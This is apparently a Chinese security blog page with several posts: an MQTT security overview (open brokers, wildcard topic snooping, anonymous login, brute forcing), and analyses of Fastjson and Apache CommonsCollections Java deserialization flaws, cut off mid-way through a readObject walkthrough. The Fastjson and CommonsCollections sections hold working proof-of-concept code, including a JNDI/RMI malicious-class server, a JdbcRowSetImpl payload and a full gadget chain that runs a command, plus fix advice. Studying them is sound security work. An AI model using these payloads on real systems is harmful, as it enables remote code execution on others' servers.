浅析MQTT安全

近期做的项目中有涉及IoT的相关内容,其中协议使用了MQTT,因此也专门抽时间关注了其安全性问题,事实上在前两年的Defcon和BlackHat上都有人做过其安全性的演讲。目前来说,MQTT在使用中拥有相对的安全认证体系,但是其中仍然存在被恶意破解拿到权限的风险,这更大一部分不是MQTT的问题,而是使用者的问题。

MQTT概览

MQTT是一种机器对机器(M2M)的协议,它被广泛地用于 IoT 。其在1999年由IBM发明,当时是为了创建一个协议,用于通过卫星连接连接石油管道的最小电池损耗和最小带宽。因为它的耗能非常低,所以被IoT生态系统广泛采用。目前几乎所有的 IoT 云平台 都支持通过 MQTT 与几种不同实现的 IoT 智能设备发送接收数据。
官方定义:

MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” (M2M) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium.

其设计思想是开放、简单、轻量、易于实现。这些特点使它适用于受限环境。例如,但不仅限于此:

  • 特别适合于网络代价昂贵,带宽低、不可靠的环境。
  • 能在处理器和内存资源有限的嵌入式设备中运行。
  • 使用发布/订阅消息模式,提供一对多的消息发布,从而解除应用程序耦合。
  • 使用 TCP/IP 提供网络连接。
  • 提供Last Will 和 Testament 特性通知有关各方客户端异常中断的机制。

目前有许多MQTT消息中间件服务器,比如

  • Mosquitto
  • RabbitMQ
  • Apache ActiveMQ
  • HiveMQ
  • EMQ
  • ……

相关介绍

发布与订阅模式

MQTT是基于消息实现了发布者-订阅者模式的协议,其通过Borker其实也就是我们理解的Server来达到一个代理中转的作用,将消息接收并派发给订阅者。在转发消息的时候Borker使用Topic来过滤过客端。Topic就好比一个具体路径或者节点,客户端会有一个自己需要订阅或者发布的指定路径。也可以理解为Topic就像一个通道,它把发布者与它的订阅者连接起来。话题由MQTT代理管理。通过这个虚拟通道,发布者与订阅者解耦,客户端(发布者或订阅者)不必相互知道。
pubsub

如上图MQTT架构,左边的传感器通过publish温度到Borker,右边的手机电脑等设备通过subscribe来订阅其实时数据,中间的EMQ Borker起到了消息的接收与转发作用。

协议报文

固定报头
1*k6RkAHEk0576geQGUcKSTA
报文格式
1*z0fhdUVzGa0PLikH_cyBmQ

应用场景

目前物联网发展速度十分迅速,而MQTT在物联网设备的应用场景十分之广

  • 智能家居
  • 温度湿度传感器
  • 健身器材
  • 血压测量仪
  • 位置服务
  • 医疗设备
  • ……

MQTT安全

屏幕快照 2018-07-30 下午5.51.59

这是截止目前对国内1883端口的统计约有1万余台
屏幕快照 2018-07-29 下午9.31.39
屏幕快照 2018-07-29 下午9.32.00

1. MITM攻击

目前可以在MQTT协议V3.1中传递用户名密码来认证。MQTT基于TCP协议默认端口为1883,但容易受到MITM攻击。可以使用SSL来加密,其默认端口为8883。SSL虽然会给传输加密但是却增大了网络开销。
屏幕快照 2018-07-30 下午6.29.24

2. 未授权问题

虽然目前MQTT的消息服务器都会有相对完备的认证方式,可是经过Shodan拿到的数据发现有许多MQTT消息服务器存在配置错误,使用者没有配置认证造成未授权访问。
一旦我们进入,经过对Topic的分析,我们就可以监控全部设备,甚至发送命令控制或者SQL操作。

  • 利用通配符获取订阅所有Topic
    MQTT 主题(Topic) 支持’+’, ‘#’的通配符,’+’通配一个层级,’#’通配多个层级(必须在末尾)。
    也就是说 如果我们的有两个个Topic分别为 CMD/123/456 CMD/789/666 那么我们可以订阅CMD/#来获取其CMD下的全部消息。在攻击中我们首先就可以利用其来监听所有不以$开头的Topic。对于以$开头的Topic我们可以使用$SYS/#来订阅(详见:https://github.com/mqtt/mqtt.github.io/wiki/SYS-Topics)
    如下为两台未授权MQTT消息服务器。
    屏幕快照 2018-07-29 下午8.49.00
    屏幕快照 2018-07-29 下午8.40.42
  • 权限控制问题
    前面是对无用户名密码的MQTT服务器的连接利用通配符订阅所有消息。难道有用户名和密码就可以制止了吗,类似WEB中的越权。试想一下,我们的一个设备如温度计需要通过用户名密码登录来publish温度,其通常会用设备ID等组合来形成一个key作为密码,或者就是我们的网站登陆密码吧。如果我们逆向了这个设备成功知道了用户名密码,而同时MQTT服务器配置没有对普通用户权限进行管理,允许其使用通配符,那么结果就会和上面的效果一样。
    假设如下为一个设备的配置,这里会完成登陆可是我们在MQTT服务器没有禁止其可以使用通配符
    屏幕快照 2018-07-30 下午3.21.46
    屏幕快照 2018-07-30 下午3.24.31
    我们对其订阅的Topic发送消息,可以看到成功接收
    屏幕快照 2018-07-30 下午3.30.47
    现在我们把订阅内容改成通配符
    屏幕快照 2018-07-30 下午3.32.35
    可以看到由于对用户没有权限验证导致其可以任意订阅内容,获取其他成员消息
    屏幕快照 2018-07-30 下午3.36.10
  • 匿名登陆问题
    emqttd/etc/emq.conf
    默认是开启的任何人都能登陆 需改为false
    mqtt.allow_anonymous = true
  • 注意认证插件
    目前MQTT中间件都会提供许多认证方式如MYSQL,LDAP等,但最近我使用EMQ中发现了一个坑,其中emq_plugin_template为一个开发插件的模版,它自动开启然后导致任意用户名密码都可以连接成功,如下
    屏幕快照 2018-07-30 下午5.54.55
    任意用户名密码连接
    屏幕快照 2018-07-30 下午5.54.37
    关闭后,可以正常判断
    屏幕快照 2018-07-30 下午6.00.03
    所以各位开发者在开启认证插件时一定要注意和检查,以免出现不必要的问题。

3. 暴力破解

https://github.com/zombiesam/joffrey
屏幕快照 2018-07-30 下午3.48.42
屏幕快照 2018-07-30 下午3.51.59

4.XSS

前端显示或者后端存消息切记需要注意特殊字符过滤。

安全配置

这里以EMQ为例,EMQ 消息服务器认证由一系列认证插件(Plugin)提供,系统支持按用户名密码、ClientID 或匿名认证。
系统默认开启匿名认证(anonymous),通过加载认证插件可开启的多个认证模块组成认证链:

注解
EMQ 2.0 消息服务器还提供了 MySQL、PostgreSQL、Redis、MongoDB、HTTP、LDAP 认证插件。

etc/acl.conf 默认访问规则设置:

详情可见文档 http://www.emqtt.com/docs/v2/guide.html

总结

物联网是一个目前发展迅速的行业,安全影响力越来越大。MQTT无疑推动了物联网的发展,希望我们在不断方便自身的情况下,也一定要安全合理的使用相关技术。

参考资料

http://emqtt.com/docs/v2/index.html
https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b
https://dzone.com/articles/mqtt-security
https://www.blackhat.com/docs/us-17/thursday/us-17-Lundgren-Taking-Over-The-World-Through-Mqtt-Aftermath.pdf

探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析

json序列化反序列化是通过将对象转换成json字符串和其逆过程,Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景
通过之前的反序列化漏洞学习我们知道,挖掘其漏洞核心思想就是找到应用,组件或者方法中的反序列化操作,如果其没有进行有效合法的判断或者其黑名单不够全,那么我们就可以通过利用JDK中固有类的方法组合来构造出一条攻击链,从而在其反序列化过程中成功唤醒我们的攻击链来达到任意代码执行
关于Fastjson反序列化漏洞的POC我也在网上看了许多文章学习,在此还是要感谢各位大佬的分享。在其中我选择了一种相对容易的基于JdbcRowSetImpl调用链来进行本次的分析

快速入门Fastjson

首先让我们了解一下Fastjson的基本使用方式
其常用方法主要是通过toJSONString方法来序列化,parseparseObject方法反序列化,

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

public class Test {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        User user1 = new User();
        user1.setName("test");
        user1.setAge(1);
        System.out.println("obj name:"+user1.getClass().getName());

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        String serializedStr1 = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);

        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());
        System.out.println();

        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");

        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
    }
}

运行结果

{"key2":"Two","key1":"One"}
obj name:test.User
serializedStr={"age":1,"name":"test"}
serializedStr1={"@type":"test.User","age":1,"name":"test"}
test

{"name":"test","age":1}
obj name:com.alibaba.fastjson.JSONObject

test.User@31900174
obj1 name:test.User

可以看到当我们通过使用SerializerFeature.WriteClassName时会在序列化中写入当前的type,@type可以指定反序列化任意类,调用其set,get,is方法。在读取中我们可以通过设置指定的object来返回相应对象

Fastjson反序列化流程

JdbcRowSetImpl_1
上图是反序列化框架图,其中反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类
首先程序会根据Lexer词法分析来处理字符
屏幕快照 2018-07-13 下午12.04.02
之后在parseObject方法中

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

ObjectDeserializer接口进入JavaBeanDeserializer类中的deserialze实现方法完成反序列化操作。其中执行具体方法见其框架图

所以我们简单构造一个模拟流程
创建实体类

public class Evil {
    public String name;
    private int age;
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

反序列化操作

public class App {
    public static void main(String[] args) {
        Object obj = JSON.parseObject("{\"@type\":\"test.Evil\", \"name\":\"test\",\"age\":\"18\"}");
        System.out.println(obj);
    }
}

执行结果
屏幕快照 2018-07-13 下午3.37.21
可以看到在反序列化的过程中调用了我们的无参构造方法,以及get,set方法

JNDI

JNDI(The Java Naming and Directory Interface,Java 命名和目录接口) 是一组在Java 应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的方式。借助于JNDI 提供的接口,能够通过名字定位用户、机器、网络、对象服务等。

Java Naming

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件

简单来说JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索对象(object),对象可能存储在rmi,ldap,CORBA等等。在JNDI中提供了绑定和查找的方法,JNDI将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象
2、Object lookup( String name ) //通过名字检索执行的对象

下面是一个小demo
首先我们一个远程接口

//远程接口
public interface RmiSample extends Remote {
    public  int sum(int a,int b) throws RemoteException;

}

以及其实现

public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{
    //覆盖默认构造函数并抛出RemoteException
    public RmiSampleImpl() throws  RemoteException{
        super();
    }
    //所有远程实现方法必须抛出RemoteException
    public int sum(int a,int b) throws  RemoteException{
        return a+b;
    }
}

建立Server

public class RmiSampleServerJndi {
    public  static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(8808);
        RmiSampleImpl  server=new RmiSampleImpl();
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        ctx.bind("java:comp/env/SampleDemo",server);
        ctx.close();

    }
}

以及客户端

public class RmiSampleClientJndi {
    public static void main(String[] args) throws Exception
    {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        String url =  "java:comp/env/SampleDemo";
        RmiSample RmiObject  = (RmiSample)ctx.lookup(url);
        System.out.println("  1 + 2 = " + RmiObject.sum(1,2) );

    }
}

首先启动服务端,接着客户端连接
屏幕快照 2018-07-13 下午4.06.57
最终输出调用结果
屏幕快照 2018-07-13 下午4.11.19

JNDI Naming Reference

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)

JNDI注入

JNDI注入产生的原因可以归结到以下4点

1、lookup参数可控。
2、InitialContext类及他的子类的lookup方法允许动态协议转换
3、lookup查找的对象是Reference类型及其子类
4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

POC

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        //在本机1099端口开启rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8088/");
        //第二个参数指定 Object Factory 的类名 第三个参数是codebase 如果Object Factory在classpath 里面找不到则去codebase下载
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

这里可以知道,当我们远程连接时它会先在classpath中找,如果没有会在我们指定的地址中去加载去实现factory的初始化

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

将Exploit生成的class文件放到web目录下
然后将我们的客户端lookup的地址指向刚才我们创建的RMI服务从而达到代码执行

System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");

所以说整个攻击流程为
受害者JNDI–>攻击者RMI服务–>受害者JNDI加载web服务中的恶意class–>受害者执行其构造方法

基于JdbcRowSetImpl的POC分析

public class SomeFastjsonApp {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

在反序列化过程中会设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。

public void setDataSourceName(String var1) throws SQLException {
        if(this.getDataSourceName() != null) {
            if(!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

设置autoCommit属性

public void setAutoCommit(boolean var1) throws SQLException {
        if(this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

其中触发connect方法

protected Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

这里关键的可以看到

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

这里可以发现其实例化了InitialContext并且调用了lookup方法,又因为其getDataSourceName为我们之前set的dataSourceName也就是攻击者的RMI服务,最终造成任意代码执行
效果如下
屏幕快照 2018-07-13 下午7.51.44

修复建议

升级旧版本Fastjson
影响范围:1.2.24及之前版本
安全版本:>=1.2.28

参考资料

http://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/417/
http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

探秘Java反序列化漏洞三:CommonsCollections反序列化漏洞分析

通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义

漏洞分析

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链

AnotationInvocationHandler.readObject()
     Map(Proxy).entrySet()
          AnotationInvocationHandler.invoke()
               members(LazyMap).get()
                    ChainedTransformer.transform()
                         ConstantTransformer.transform()
                              Runtime.class
                         InvokerTransformer.transform()
                              getMethod("getRuntime",new Class[]{})
                         InvokerTransformer.transform()
                              invoke(null,new Object[]{})
                         InvokerTransformer.transform()
                              exec("calc")

该漏洞问题主要出现在org.apache.commons.collections.Transformer接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到该接口调用了一个方法transform其作用是为了给定一个Object对象经过转换后同时也返回一个Object
在其实现类中我们主要跟进InvokerTransformerConstantTransformerChainedTransformer
屏幕快照 2018-07-11 下午8.58.59
1.InvokerTransformer
可以看到其中属性为典型的反射格式:方法名,方法参数,实参

屏幕快照 2018-07-11 下午9.01.18
我们来看其transform(Object input)如下

public Object transform(Object input) {
        if(input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到该方法中采用了反射的方法进行函数调用,而重点是这里的三个属性都为我们的可控参数
2.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

该方法返回iConstant属性,该属性也为可控参数
3.ChainedTransformer
这是一个利用的关键类

public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if(transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

可以看到,其构造方法中接收了Transformer数组,接下来

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这个比较有意思,可以看出它使用了for循环来调用Transformer数组的transform方法,并且使用了object作为后一个调用transform方法的参数
也就是说我们现在可以通过结合上述三种方法来实现之前弹出计算器的操作

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {
                String.class }, new Object[] {"open /Applications/Calculator.app"})};

Transformer transformedChain = new ChainedTransformer(transformers);

屏幕快照 2018-07-11 下午10.00.12

根据我们开始给出的调用链可以知道LazyMap(实现了Map接口)其中(当然也有其他的)调用了transform方法

public Object get(Object key) {
        if(!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在上述代码中会判断当前Map中是否已经有该key,如果没有会交给factory.transform来处理
facory初始化是通过下方代码来完成

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if(factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以说,我们为了调用transform方法,需要找到LazyMap并调用其get方法。也就是说,我们需要在对象进行反序列化时调用我们精心构造对象的get方法,而如何能在反序列化时触发LazyMapget方法,这时候我们就要利用sun.reflect.annotation.AnnotationInvocationHandler类(JDK1.7)
我们先来看下其结构
屏幕快照 2018-07-11 下午11.28.06

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

该类实现了序列化接口,同时其中typememberValues可控
接着往下看readObject方法,这里的memberValues是我们通过构造AnnotationInvocationHandler构造函数初始化的变量,也就是我们构造的LazyMap对象

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if(var7 != null) {
                Object var8 = var5.getValue();
                if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

可以看到在readObject方法中并未找到LazyMapget方法,但是我们发现在invoke方法中memberValues.get(Object)被调用
屏幕快照 2018-07-11 下午11.57.19

这里比较强,在看大佬的POC时发现使用的是动态代理方式构造,因为AnnotationInvocationHandler实现了InvocationHandler接口,所以我们可以使用newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)生成动态代理,这样在调用对象的时候就会调用InvocationHandler.invoke方法从而执行我们想要的get方法,最终成果执行恶意代码

POC

public class CCPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{
                        String.class}, new Object[]{"open /Applications/Calculator.app"})};

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

        //设置代理
        Class[] interfaces = new Class[]{java.util.Map.class};
        Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
        InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

        System.out.println("Saving serialized object in test.ser");
        FileOutputStream fos = new FileOutputStream("test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handlerProxy);
        oos.flush();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();
    }

}

屏幕快照 2018-07-12 上午1.36.23

总结

攻击调用链
cc攻击链-2

通用解决方案

更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

参考资料

https://www.cnblogs.com/ssooking/p/5875215.html
https://www.anquanke.com/post/id/82934
https://paper.seebug.org/312/

探秘Java反序列化漏洞二:反序列化过程分析

这里我们会主要分析自定义反序列化时readObject是如何被调用的

反序列化流程

在反序列化时我们会调用readObject方法,那么其中的执行又经过了哪些过程呢?
首先ObjectInputStream(InputStream in)有参构造方法设置enableOverride = false

public ObjectInputStream(InputStream in) throws IOException {
        verifySubclass();
        bin = new BlockDataInputStream(in);
        handles = new HandleTable(10);
        vlist = new ValidationList();
        serialFilter = ObjectInputFilter.Config.getSerialFilter();
        enableOverride = false;
        readStreamHeader();
        bin.setBlockDataMode(true);
    }

所以readObject会执行readObject0(false)

public final Object readObject()
        throws IOException, ClassNotFoundException
    {
        if (enableOverride) {
            return readObjectOverride();
        }

        // if nested read, passHandle contains handle of enclosing object
        int outerHandle = passHandle;
        try {
            Object obj = readObject0(false);
            handles.markDependency(outerHandle, passHandle);
            ClassNotFoundException ex = handles.lookupException(passHandle);
            if (ex != null) {
                throw ex;
            }
            if (depth == 0) {
                vlist.doCallbacks();
            }
            return obj;
        } finally {
            passHandle = outerHandle;
            if (closed && depth == 0) {
                clear();
            }
        }
    }

由此进入readObject方法

private Object readObject0(boolean unshared) throws IOException {
        boolean oldMode = bin.getBlockDataMode();
        if (oldMode) {
            int remain = bin.currentBlockRemaining();
            if (remain > 0) {
                throw new OptionalDataException(remain);
            } else if (defaultDataEnd) {
                /*
                 * Fix for 4360508: stream is currently at the end of a field
                 * value block written via default serialization; since there
                 * is no terminating TC_ENDBLOCKDATA tag, simulate
                 * end-of-custom-data behavior explicitly.
                 */
                throw new OptionalDataException(true);
            }
            bin.setBlockDataMode(false);
        }

        byte tc;
        while ((tc = bin.peekByte()) == TC_RESET) {
            bin.readByte();
            handleReset();
        }

        depth++;
        totalObjectRefs++;
        try {
            switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }
        } finally {
            depth--;
            bin.setBlockDataMode(oldMode);
        }
    }

可以看到在改方法中开始分析我们序列化的内容,在switch中我们可以与之前分析的序列化后结构一一对应,其对应字节数据位于ObjectStreamConstants接口中
屏幕快照 2018-07-10 下午9.55.45
在上述代码中我们主要关注的是TC_OBJECT,其执行的方法是:checkResolve(readOrdinaryObject(unshared))–>readOrdinaryObject方法代码如下

 private Object readOrdinaryObject(boolean unshared)
        throws IOException
    {
        if (bin.readByte() != TC_OBJECT) {
            throw new InternalError();
        }

        ObjectStreamClass desc = readClassDesc(false);
        desc.checkDeserialize();

        Class<?> cl = desc.forClass();
        if (cl == String.class || cl == Class.class
                || cl == ObjectStreamClass.class) {
            throw new InvalidClassException("invalid class descriptor");
        }

        Object obj;
        try {
            obj = desc.isInstantiable() ? desc.newInstance() : null;
        } catch (Exception ex) {
            throw (IOException) new InvalidClassException(
                desc.forClass().getName(),
                "unable to create instance").initCause(ex);
